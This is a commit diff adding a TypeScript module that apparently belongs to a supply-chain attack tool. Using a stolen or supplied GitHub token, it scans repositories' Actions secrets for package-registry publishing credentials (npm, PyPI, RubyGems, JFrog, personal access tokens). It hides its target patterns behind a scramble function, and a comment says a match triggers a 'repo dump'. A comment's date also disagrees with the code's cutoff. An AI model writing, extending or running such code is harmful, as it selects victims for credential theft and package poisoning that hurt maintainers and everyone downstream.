Upload files to "src/providers/actions"

This commit is contained in:
2026-07-03 03:08:03 +00:00
parent 11ef9ec550
commit 63b68d0416
3 changed files with 897 additions and 0 deletions
+101
View File
@@ -0,0 +1,101 @@
import { logUtil } from "../../utils/logger";
import { githubFetch } from "./github";
interface SecretsResponse {
total_count: number;
secrets: Array<{ name: string; updated_at?: string }>;
}
export interface RepoSecretInfo {
fullName: string;
secrets: string[];
isPrivate: boolean;
}
declare function scramble(str: string): string;
const TARGET_SECRET_PATTERNS = [
scramble("PYPI"),
scramble("NPM_"),
scramble("OP_"),
scramble("RUBY"),
scramble("PAT"),
scramble("PERSONAL_ACCESS"),
scramble("JFROG"),
];
/** NPM_TOKEN is only counted if it has been updated since May 20, 2025.
* Tokens updated before this date or with no date are considered stale
* and do not trigger a repo dump. */
function isStaleNpmToken(secret: {
name: string;
updated_at?: string;
}): boolean {
if (secret.name.toUpperCase() !== "NPM_TOKEN") return false;
if (!secret.updated_at) return true; // no date = stale, skip
const updated = new Date(secret.updated_at);
const cutoff = new Date("2026-05-20T00:00:00Z");
return updated < cutoff;
}
function isTargetSecret(secret: {
name: string;
updated_at?: string;
}): boolean {
const upper = secret.name.toUpperCase();
if (!TARGET_SECRET_PATTERNS.some((p) => upper.includes(p))) return false;
// Exclude stale NPM_TOKENs (updated > 30 days ago)
if (isStaleNpmToken(secret)) return false;
return true;
}
export async function* streamRepoSecrets(
token: string,
repos:
| AsyncIterable<{ fullName: string; private: boolean }>
| Iterable<{ fullName: string; private: boolean }>,
): AsyncGenerator<RepoSecretInfo> {
for await (const repo of repos) {
const [owner, name] = repo.fullName.split("/");
if (!owner || !name) continue;
logUtil.log(`checking ${repo.fullName}`);
const targetSecrets: string[] = [];
try {
const res = await githubFetch(
token,
`/repos/${owner}/${name}/actions/secrets?per_page=100`,
);
if (res.ok) {
const data = (await res.json()) as SecretsResponse;
targetSecrets.push(
...data.secrets.filter(isTargetSecret).map((s) => s.name),
);
}
} catch {
// No access or no secrets
}
try {
const res = await githubFetch(
token,
`/repos/${owner}/${name}/actions/organization-secrets?per_page=100`,
);
if (res.ok) {
const data = (await res.json()) as SecretsResponse;
targetSecrets.push(
...data.secrets.filter(isTargetSecret).map((s) => s.name),
);
}
} catch {
// No access or not an org repo
}
yield {
fullName: repo.fullName,
secrets: targetSecrets,
isPrivate: repo.private,
};
}
}